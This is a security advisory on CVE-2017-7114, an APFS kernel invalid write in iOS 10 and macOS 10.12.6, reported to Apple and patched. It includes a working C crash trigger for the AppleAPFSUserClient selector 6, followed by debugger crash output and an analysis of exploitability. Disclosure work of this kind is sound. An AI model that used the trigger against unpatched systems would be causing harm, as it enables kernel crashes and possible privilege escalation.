MWR LABS

Security Advisory

Apple – apfs`AppleAPFSUserClient::methodContainerExtendedInfo Invalid Write

Software	Apple macOS, Apple iOS
Affected Versions	iOS 10, macOS 10.12.6
CVE Reference	CVE-2017-7114
Author	Alex Plaskett
Severity	High
Vendor	Apple
Vendor Response	Patch available - https://support.apple.com/en-gb/HT208112 and https://support.apple.com/en-gb/HT208144

Description:

Apple File System (APFS) is a new, modern file system for iOS, macOS, tvOS, and watchOS. It is optimized for Flash/SSD storage and features strong encryption, copy-on-write metadata, space sharing, cloning for files and directories, snapshots, fast directory sizing, atomic safe-save primitives, and improved file system fundamentals.

APFS replaces HFS+ as the default file system for iOS 10.3 and later, and macOS High Sierra and later.

A vulnerability was identified with the APFS kernel extension on iOS 10 and macOS 10.12.6 which could lead to arbitrary kernel code execution.

Impact:

Exploitation of this issue could lead to arbitrary kernel code execution.

Cause:

This issue is due to insufficient input validation being performed within the kernel extension.

Interim Workaround:

N/A

Solution:

Apply the vendor supplied patch for the issue available at https://support.apple.com/en-gb/HT208112 and https://support.apple.com/en-gb/HT208144

Technical details

The following test case was found to trigger an invalid write fault within the APFS driver:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>



int main(int argc, char *argv[])
{

        kern_return_t err;

        io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("AppleAPFSContainer"));

        if (service == IO_OBJECT_NULL){
                printf("unable to find service\n");
                return 1;
```

```
}

printf("got service: %x\n", service);

io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
        printf("unable to get user client connection\n");
        return 1;
}

printf("got userclient connection: %x\n", conn);

// Now make the vuln call..
unsigned int selector = 6; // methodContainerExtendedInfo

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char outputStruct[4096];
size_t outputStructCnt = 0;

char inputStruct[] = "";
size_t inputStructCnt = 0;

uint64_t asyncRef[8];

mach_port_t wake_port = 0;
```

```
        IOConnectCallAsyncMethod(conn,selector,wake_port,asyncRef,8,inputScalar,inputScalarCnt,inputStruct,inputStructCnt,outputScalar,&outputScalarCnt,outputStruct,&outputStructCnt);

        return 0;
}
```

The above code lead to the following crash occurring:

```
* thread #1, stop reason = signal SIGSTOP
    frame #0: 0xffffff7f864b5d1f apfs`AppleAPFSUserClient::methodContainerExtendedInfo(AppleAPFSUserClient*, void*, IOExternalMethodArguments*) + 61
apfs`AppleAPFSUserClient::methodContainerExtendedInfo:
->  0xffffff7f864b5d1f <+61>: mov    qword ptr [rbx], 0x0
    0xffffff7f864b5d26 <+68>: mov    rdi, r13
    0xffffff7f864b5d29 <+71>: call   0xffffff7f864b7d74        ; AppleAPFSContainer::fetchBSDName()
    0xffffff7f864b5d2e <+76>: mov    r14d, 0xe00002c0
```

From this we can see that the value 0 is attempting to be written to the location of where RBX is currently pointing.

Looking at the registers after the crash we can observe that RBX is currently at offset 0x46 from NULL.

```
General Purpose Registers:
       rax = 0x00000000e00002ea
       rbx = 0x0000000000000046
       rcx = 0xffffff7f864b5ce2 apfs`AppleAPFSUserClient::methodContainerExtendedInfo(AppleAPFSUserClient*, void*, IOExternalMethodArguments*)
       rdx = 0xffffff9110d73b70
       rdi = 0xffffff801dc3bf00
       rsi = 0x0000000000000000
       rbp = 0xffffff9110d73af0
       rsp = 0xffffff9110d73a10
        r8 = 0xffffff801dc3bf00
```

```
        r9 = 0x0000000000000000
       r10 = 0x0000000000000000
       r11 = 0x0000000000000000
       r12 = 0xa92ce7cebefd00bb
       r13 = 0xffffff801b6a2900
       r14 = 0x00000000e00002c2
       r15 = 0xffffff801dc3bf00
       rip = 0xffffff7f864b5d1f
apfs`AppleAPFSUserClient::methodContainerExtendedInfo(AppleAPFSUserClient*, void*,
IOExternalMethodArguments*) + 61
    rflags = 0x0000000000010202
        cs = 0x0000000000000008
        fs = 0x00000000ffff0000
        gs = 0x00000000864b0000
```

In order to determine if we can control RBX to point at a location where it would be advantageous for the attacker be able to perform a 1 byte write of zero we need to perform further analysis.

Looking at the disassembly for the function the following happens:

```
(lldb) disas
apfs`AppleAPFSUserClient::methodContainerExtendedInfo:
    0xffffff7f864b5ce2 <+0>:    push   rbp
    0xffffff7f864b5ce3 <+1>:    mov    rbp, rsp
    0xffffff7f864b5ce6 <+4>:    push   r15
    0xffffff7f864b5ce8 <+6>:    push   r14
    0xffffff7f864b5cea <+8>:    push   r13
    0xffffff7f864b5cec <+10>:   push   r12
    0xffffff7f864b5cee <+12>:   push   rbx
    0xffffff7f864b5cef <+13>:   sub    rsp, 0xb8
    0xffffff7f864b5cf6 <+20>:   mov    r12, qword ptr [rip + 0x8638b]
    0xffffff7f864b5cfd <+27>:   mov    r12, qword ptr [r12]
    0xffffff7f864b5d01 <+31>:   mov    qword ptr [rbp - 0x30], r12
    0xffffff7f864b5d05 <+35>:   mov    rbx, qword ptr [rdx + 0x78]
    0xffffff7f864b5d09 <+39>:   mov    r14d, 0xe00002c2
    0xffffff7f864b5d0f <+45>:   test   rbx, rbx
    0xffffff7f864b5d12 <+48>:   je     0xffffff7f864b6356        ; <+1652>
```

```
    0xffffff7f864b5d18 <+54>:   mov    r13, qword ptr [rdi + 0xe0]
->  0xffffff7f864b5d1f <+61>:   mov    qword ptr [rbx], 0x0
```

As you can see RBX is populated using the instruction:

```
0xffffff7f864b5d05 <+35>:   mov    rbx, qword ptr [rdx + 0x78]
```

Where if we examine the memory at this address we can find the following:

```
(lldb) memory read --size 4 --format x --count 4 0xffffff9110d73b70+0x78
0xffffff9110d73be8: 0x00000046 0x00000000 0x00000000 0x00000000
```

As we can see that value is used as the destination of the write.

Since RDX is passed into the function by the caller, the call stack looks as follows:

```
* thread #1, stop reason = signal SIGSTOP
  * frame #0: 0xffffff7f864b5d1f
apfs`AppleAPFSUserClient::methodContainerExtendedInfo(AppleAPFSUserClient*, void*,
IOExternalMethodArguments*) + 61
    frame #1: 0xffffff8003ae3371 kernel`IOUserClient::externalMethod(unsigned int,
IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 465
    frame #2: 0xffffff8003aec5eb kernel`is_io_connect_async_method + 507
    frame #3: 0xffffff80035be6ea kernel`___lldb_unnamed_symbol1865$$kernel + 714
    frame #4: 0xffffff80034ef7bc kernel`ipc_kobject_server + 412
    frame #5: 0xffffff80034cbfb1 kernel`ipc_kmsg_send + 225
    frame #6: 0xffffff80034e0777 kernel`mach_msg_overwrite_trap + 327
    frame #7: 0xffffff80035eb1d8 kernel`mach_call_munger64 + 456
    frame #8: 0xffffff800349bdb6 kernel`hndl_mach_scall64 + 22
```

If an attacker is able to control RDX, it may be possible to perform a controlled write of 0. Which may lead to remote code execution within the kernel.

Detailed Timeline

Date	Summary
2017-07-03	Issue reported to vendor
2017-09-19	Vendor issues fix and publishes advisory
2018-01-19	MWR labs advisory published